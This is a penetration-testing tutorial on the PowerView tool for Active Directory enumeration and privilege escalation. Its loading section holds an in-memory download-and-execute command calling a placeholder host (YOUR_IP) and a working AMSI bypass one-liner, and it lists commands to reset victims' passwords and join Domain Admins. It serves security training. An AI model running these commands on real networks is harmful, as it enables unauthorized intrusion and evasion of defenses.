PowerView

PowerShell-based Active Directory enumeration tool. Queries AD objects, finds ACL misconfigurations, maps trust relationships, and identifies privilege escalation paths, all with just a regular domain user.

Windows Active Directory CPTS

LevelAdvanced. A PowerShell-heavy tool, so come to it once ldapsearch and BloodHound feel familiar.

Know firstBasic PowerShell syntax, and what an ACL and an ACE are on an AD object.

You will learn toload PowerView on a target, enumerate users and groups, and read ACLs for privilege escalation paths.

What is it?

PowerView is a PowerShell script (.ps1) that provides functions for AD enumeration. It's part of PowerSploit and runs on the target Windows machine in memory, no compilation needed. Any domain user can run most of its commands.

PowerView fills the gap between BloodHound (automated graph analysis) and manual LDAP queries. It gives you specific, targeted AD queries when you know what you're looking for.

PowerView	BloodHound
Interactive, query what you need	Collect everything, analyze the graph
Real-time data	Point-in-time snapshot
Can modify AD objects (with rights)	Read-only analysis
Great for targeted queries	Great for finding attack paths
Runs on target (PowerShell)	Collection on target, analysis on Kali

Run this first

Load the module, then start with the domain itself before querying users or groups.

powershell: your first query

PS C:\> Import-Module .\PowerView.ps1
PS C:\> Get-Domain

Import-Module can be blocked by AMSI (Windows Defender). If it is, load it through evil-winrm's -s flag or use an AMSI bypass.
Get-Domain confirms the module loaded and shows basic domain info before you query anything else.

From there, Get-DomainUser | select samaccountname, description is worth running every time, since admins sometimes leave passwords in the description field. Always add -ResolveGUIDs to ACL queries, or you get raw GUIDs instead of readable names.

output: Get-Domain

Forest                  : corp.local
DomainControllers       : {DC01.corp.local}  <-- your target for ldapsearch, secretsdump -just-dc, DCSync
DomainMode              : Unknown
DomainModeLevel         : 7
PdcRoleOwner            : DC01.corp.local
Name                    : corp.local

When do you use it?

PowerView scenarios

You have a shell on a domain-joined Windows machine → load PowerView and start enumerating
BloodHound shows an interesting path but you need details → PowerView for specific ACL/group queries
You want to find Kerberoastable accounts → Get-DomainUser -SPN
You need to check who has rights over an object → ACL enumeration
You want to find where a user is logged in → Find-DomainUserLocation
You need to abuse an ACL (GenericAll, WriteDACL, etc.) → PowerView can modify AD objects

How do you use it?

Loading PowerView

powershell: load into memory

# Option 1: Import from disk
PS C:\> Import-Module .\PowerView.ps1

# Option 2: Load from evil-winrm (in-memory, no disk touch)
*Evil-WinRM* PS C:\> PowerView.ps1
# (if you started evil-winrm with -s /path/to/scripts/)

# Option 3: Download and execute in memory
PS C:\> IEX(New-Object Net.WebClient).DownloadString('http://YOUR_IP:8080/PowerView.ps1')

# If AMSI blocks it, try a bypass first:
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Domain and user enumeration

powershell: basic AD recon

# Get domain info
PS C:\> Get-Domain

# Get domain controller(s)
PS C:\> Get-DomainController

# Get all domain users
PS C:\> Get-DomainUser | select samaccountname, description, memberof

# Find users with descriptions (often contain passwords!)
PS C:\> Get-DomainUser | Where-Object {$_.description -ne $null} | select samaccountname, description

# Find admin users
PS C:\> Get-DomainGroupMember "Domain Admins" | select MemberName

# Find Kerberoastable users (accounts with SPNs)
PS C:\> Get-DomainUser -SPN | select samaccountname, serviceprincipalname

# Find AS-REP roastable users
PS C:\> Get-DomainUser -PreauthNotRequired | select samaccountname

Computer and group enumeration

powershell

# List all computers
PS C:\> Get-DomainComputer | select dnshostname, operatingsystem

# Find all groups
PS C:\> Get-DomainGroup | select samaccountname

# Members of a specific group
PS C:\> Get-DomainGroupMember "Remote Management Users" | select MemberName

# What groups is a user in?
PS C:\> Get-DomainGroup -UserName jsmith | select samaccountname

ACL enumeration (the powerful stuff)

powershell: find exploitable permissions

# Find all objects where a user has interesting rights
PS C:\> Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -eq "jsmith"}

# Check who has rights over a specific user
PS C:\> Get-ObjectAcl -Identity "administrator" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite"}

# Find GenericAll over a group (can add yourself)
PS C:\> Get-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "GenericAll"} | select IdentityReferenceName

# Find accounts with DCSync rights
PS C:\> Get-ObjectAcl "DC=corp,DC=local" -ResolveGUIDs | Where-Object {($_.ObjectAceType -match 'replication-get') -and ($_.ActiveDirectoryRights -match 'ExtendedRight')} | select IdentityReferenceName

Delegation enumeration

powershell

# Find accounts with unconstrained delegation
PS C:\> Get-DomainComputer -Unconstrained | select dnshostname

# Find accounts with constrained delegation
PS C:\> Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto
PS C:\> Get-DomainComputer -TrustedToAuth | select dnshostname, msds-allowedtodelegateto

Session and logon hunting

powershell: find where users are logged in

# Find where domain admins are logged in
PS C:\> Find-DomainUserLocation | select UserName, SessionFromName

# Find local admin access across the domain
PS C:\> Find-LocalAdminAccess

# Find shares accessible to current user
PS C:\> Find-DomainShare -CheckShareAccess

What do you do with the output?

What you found	What to do
Users with SPNs	Kerberoast with Rubeus, crack with Hashcat
Users without preauth	AS-REP roast with Rubeus
GenericAll over a user	Reset their password: `Set-DomainUserPassword -Identity target -AccountPassword (ConvertTo-SecureString 'P@ss!' -AsPlainText -Force)`
GenericAll over a group	Add yourself: `Add-DomainGroupMember -Identity "Domain Admins" -Members youruser`
WriteDACL on an object	Grant yourself GenericAll, then exploit it
Constrained delegation	Rubeus S4U to impersonate admin to the delegated service
DA logged into a machine where you're admin	Dump their creds from that machine with Mimikatz
Passwords in description fields	Try them: admins store passwords in user descriptions more often than you'd expect

Common mistakes

Watch out

AMSI blocking the import: Windows Defender's AMSI will block PowerView by default. Use an AMSI bypass or load via evil-winrm's -s flag
Not using -ResolveGUIDs: Without this flag, ACL queries show raw GUIDs instead of human-readable names. Always add it for ACL work
Skipping description fields: Get-DomainUser | select samaccountname, description: admins put passwords in description fields. Check every time
Only checking Domain Admins: Also check: Enterprise Admins, Backup Operators, Account Operators, Server Operators, Remote Management Users, DnsAdmins, all can lead to escalation
Forgetting Find-LocalAdminAccess: This tells you which machines your current user has admin on. It's noisy (touches every machine) but incredibly useful

Check yourself

Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.

Importing PowerView is silently blocked. What is the usual cause?

Windows Defender's AMSI. Load it through evil-winrm's -s flag, or use an AMSI bypass, to get around it.

An ACL query returns raw GUIDs instead of names. What flag fixes that?

-ResolveGUIDs, which should be added to every ACL enumeration.

Why run Get-DomainUser | select samaccountname, description as routine?

Administrators sometimes put passwords directly in the description field of a user object.

Why check more than just the Domain Admins group for privilege escalation paths?

Groups like Enterprise Admins, Backup Operators, Account Operators, Server Operators and DnsAdmins can all lead to escalation too.

What does Find-LocalAdminAccess tell you, and what is its downside?

Which machines your current user has local admin on. It is very useful but noisy, since it touches every machine it checks.